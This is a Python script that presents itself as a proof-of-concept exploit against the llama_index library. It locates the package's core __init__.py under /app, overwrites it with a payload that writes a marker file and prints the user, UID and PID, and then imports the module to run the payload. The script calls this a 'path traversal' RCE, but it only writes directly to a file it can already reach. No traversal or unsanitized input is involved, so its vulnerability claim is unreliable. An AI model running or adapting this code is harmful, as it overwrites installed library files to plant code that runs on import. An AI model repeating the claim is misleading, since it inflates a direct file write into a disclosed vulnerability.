import os
import sys
from pathlib import Path
import time

def run_exploit():
    print("\n[1] INITIAL STATE CHECK")
    print(f"[*] Artifact 'SUCCESS.txt' exists: {os.path.exists('/app/SUCCESS.txt')}")
    
    # find the core init file anywhere in /app
    targets = list(Path("/app").rglob("llama_index/core/__init__.py"))
    if not targets:
        print("[!] ERROR: Could not find llama_index/core/__init__.py")
        return
    target_file = targets[0]
    lib_root = target_file.parent.parent.parent

    print(f"\n[2] VULNERABILITY: PATH TRAVERSAL WRITE")
    print(f"[*] Targeting: {target_file}")
    
    payload = f"""
import os, getpass
with open('/app/SUCCESS.txt', 'w') as f:
    f.write(f'RCE Successful as user: {{getpass.getuser()}}')
print('\\n' + '!'*50)
print('!!! CRITICAL: RCE EXECUTED FROM CORE LIBRARY !!!')
print(f'!!! UID: {{os.getuid()}} | PID: {{os.getpid()}}')
print('!'*50 + '\\n')
"""

    print("[+] Overwriting core library via unsanitized path...")
    with open(target_file, "w") as f:
        f.write(payload)
    time.sleep(1)

    print("\n[3] EXECUTION: TRIGGERING THE RCE")
    print("[*] Simulating a legitimate application importing llama_index...")
    time.sleep(1)
    
    # Add library to path and import
    sys.path.insert(0, str(lib_root))
    import llama_index.core

    print("\n[4] VERIFICATION")
    if os.path.exists("/app/SUCCESS.txt"):
        with open("/app/SUCCESS.txt", "r") as f:
            print(f"[SUCCESS] Artifact Content: {f.read()}")
    else:
        print("[FAIL] RCE failed.")

if __name__ == "__main__":
    run_exploit()